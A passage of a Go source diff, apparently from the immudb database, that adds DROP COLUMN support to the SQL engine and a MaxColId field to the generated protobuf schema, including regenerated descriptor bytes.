+ } + + if col.notNull { + v[0] = v[0] | nullableFlag + } + + binary.BigEndian.PutUint32(v[1:], uint32(col.MaxLen())) + + copy(v[5:], []byte(col.Name())) + + mappedKey := MapKey( + tx.sqlPrefix(), + catalogColumnPrefix, + EncodeID(1), + EncodeID(col.table.id), + EncodeID(col.id), + []byte(col.colType), + ) + + return tx.set(mappedKey, nil, v) +} + type ColSpec struct { colName string colType SQLValueType @@ -459,7 +464,7 @@ func (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - err = persistColumn(col, tx) + err = persistColumn(tx, col) if err != nil { return nil, err } @@ -494,7 +499,7 @@ func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[ return nil, err } - err = persistColumn(col, tx) + err = persistColumn(tx, col) if err != nil { return nil, err } @@ -504,6 +509,58 @@ func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[ return tx, nil } +type DropColumnStmt struct { + table string + colName string +} + +func NewDropColumnStmt(table, colName string) *DropColumnStmt { + return &DropColumnStmt{table: table, colName: colName} +} + +func (stmt *DropColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +func (stmt *DropColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + table, err := tx.catalog.GetTableByName(stmt.table) + if err != nil { + return nil, err + } + + col, err := table.GetColumnByName(stmt.colName) + if err != nil { + return nil, err + } + + err = table.deleteColumn(col) + if err != nil { + return nil, err + } + + err = persistColumnDeletion(ctx, tx, col) + if err != nil { + return nil, err + } + + tx.mutatedCatalog = true + + return tx, nil +} + +func persistColumnDeletion(ctx context.Context, tx *SQLTx, col *Column) error { + mappedKey := MapKey( + tx.sqlPrefix(), + catalogColumnPrefix, + EncodeID(1), + EncodeID(col.table.id), + EncodeID(col.id), + []byte(col.colType), + ) + + return tx.delete(ctx, mappedKey) +} + type UpsertIntoStmt struct { isInsert bool tableRef *tableRef @@ -753,7 +810,7 @@ func (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Tabl func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { var reusableIndexEntries map[uint32]struct{} - if reuseIndex && len(table.GetIndexes()) > 1 { + if reuseIndex && len(table.indexes) > 1 { currPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID) if err == nil { currValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector)) @@ -785,7 +842,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } // create in-memory and validate entries for secondary indexes - for _, index := range table.GetIndexes() { + for _, index := range table.indexes { if index.IsPrimary() { continue } @@ -927,7 +984,7 @@ func (tx *SQLTx) deprecateIndexEntries( reusableIndexEntries = make(map[uint32]struct{}) - for _, index := range table.GetIndexes() { + for _, index := range table.indexes { if index.IsPrimary() { continue } @@ -1227,7 +1284,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T return err } - for _, index := range table.GetIndexes() { + for _, index := range table.indexes { if !index.IsPrimary() { continue } @@ -2396,7 +2453,7 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( return nil, err } - for _, idx := range table.GetIndexesByColID(col.id) { + for _, idx := range table.indexesByColID[col.id] { if idx.sortableUsing(col.id, rangesByColID) { if preferredIndex == nil || idx.id == preferredIndex.id { sortingIndex = idx @@ -3963,7 +4020,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, } var unique bool - for _, index := range table.GetIndexesByColID(c.ID()) { + for _, index := range table.indexesByColID[c.id] { if index.IsUnique() && len(index.Cols()) == 1 { unique = true break @@ -4029,9 +4086,9 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return nil, err } - values := make([][]ValueExp, len(table.GetIndexes())) + values := make([][]ValueExp, len(table.indexes)) - for i, index := range table.GetIndexes() { + for i, index := range table.indexes { values[i] = []ValueExp{ &Varchar{val: table.name}, &Varchar{val: index.Name()}, @@ -4103,8 +4160,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } // delete indexes - indexes := table.GetIndexes() - for _, index := range indexes { + for _, index := range table.indexes { mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, @@ -4123,7 +4179,6 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error { return sqlTx.engine.store.DeleteIndex(indexKey) }) diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 637cc800b4..95e9611fb1 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -7006,6 +7006,8 @@ type VerifiableSQLEntry struct { ColTypesById map[uint32]string `protobuf:"bytes,10,rep,name=ColTypesById,proto3" json:"ColTypesById,omitempty" protobuf_key:"varint,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` // Mapping of column IDs to their length constraints ColLenById map[uint32]int32 `protobuf:"bytes,11,rep,name=ColLenById,proto3" json:"ColLenById,omitempty" protobuf_key:"varint,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3"` + // Variable is used to assign unique ids to new columns as they are created + MaxColId uint32 `protobuf:"varint,12,opt,name=MaxColId,proto3" json:"MaxColId,omitempty"` } func (x *VerifiableSQLEntry) Reset() { @@ -7110,6 +7112,13 @@ func (x *VerifiableSQLEntry) GetColLenById() map[uint32]int32 { return nil } +func (x *VerifiableSQLEntry) GetMaxColId() uint32 { + if x != nil { + return x.MaxColId + } + return 0 +} + type UseDatabaseReply struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9784,7 +9793,7 @@ var file_schema_proto_rawDesc = []byte{ 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, @@ -9824,654 +9833,655 @@ var file_schema_proto_rawDesc = []byte{ 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, - 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, - 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, - 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, - 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, - 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, - 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, - 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, - 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, - 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, - 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, - 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, - 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, - 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, - 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, - 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, - 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, - 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, - 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, - 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, - 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, + 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, + 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 